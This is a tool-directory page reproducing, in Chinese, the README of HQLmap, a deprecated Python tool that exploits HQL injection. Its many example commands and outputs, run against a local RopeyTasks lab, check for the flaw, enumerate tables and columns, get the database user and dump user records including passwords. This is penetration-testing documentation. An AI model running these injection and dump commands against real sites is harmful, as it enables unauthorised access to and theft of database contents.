Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HQLmap — (Deprecated) HQLmap, Automatic tool to exploit HQL injections | Kitploit
工具/GitHubGitHub/paulsec/hqlmap
Vulnerability ScannersWeb Application ExploitationInformation GatheringPenetration TestingDatabase SecurityArchived
GitHubpaulsec/hqlmap

HQLmap

(Deprecated) HQLmap, Automatic tool to exploit HQL injections

查看仓库
228436年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HQLMap

本项目旨在利用HQL注入漏洞。 该工具使用Python编写,并在MIT许可证下发布。 未来开发:我计划为SQLmap开发专用模块。

在哪里可以尝试该工具?

如果你想要一个快速易受攻击的环境来尝试该工具,我推荐使用RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/

此外,如果你想要更多关于HQLi的信息,请查看这篇博客文章: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

安装

要安装此项目,只需通过以下命令克隆该项目:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

使用

要使用此项目,进入目录:

root@kitploit:~
cd HQLmap

然后启动项目:

root@kitploit:~
python HQLmap.py

随后显示用法:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

使用

本部分包括不同的场景。

检查主机是否易受攻击

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

输出非常简单:

root@kitploit:~
Host seems vulnerable.

使用POSTDATA进行检查

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

枚举表

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

以下是输出:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

在执行此类枚举时,扫描器使用默认文件来获取表名(如果未指定)。 默认文件是:db/tables.db

枚举列

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

在执行此类枚举时,扫描器使用默认文件来获取表名和列名。 默认文件为:

表:db/tables.db 列:db/columns.db

检查特定表是否存在

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

输出:

root@kitploit:~
[-] Table foo does not exist.

枚举特定表的列

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

输出:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

检查特定表中特定列是否存在

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

输出:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

指纹识别选项

获取表的记录数

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

或针对所有表:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

输出:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

获取数据库用户

要执行此操作,你需要指定一个表(或使用 --tables 标志指定所有表),并按以下方式添加 --user 标志:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

输出(几秒后):

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

为了获取用户,我实现了一种与“可变”二分法非常相似的算法。

转储数据库

转储数据库中所有表

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

输出:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

转储数据库中特定表

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

输出:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

转储数据库中特定列

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

输出:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

结论(& 许可证)

欢迎提供反馈并请求新功能。

项目在MIT许可证下发布。

下载工具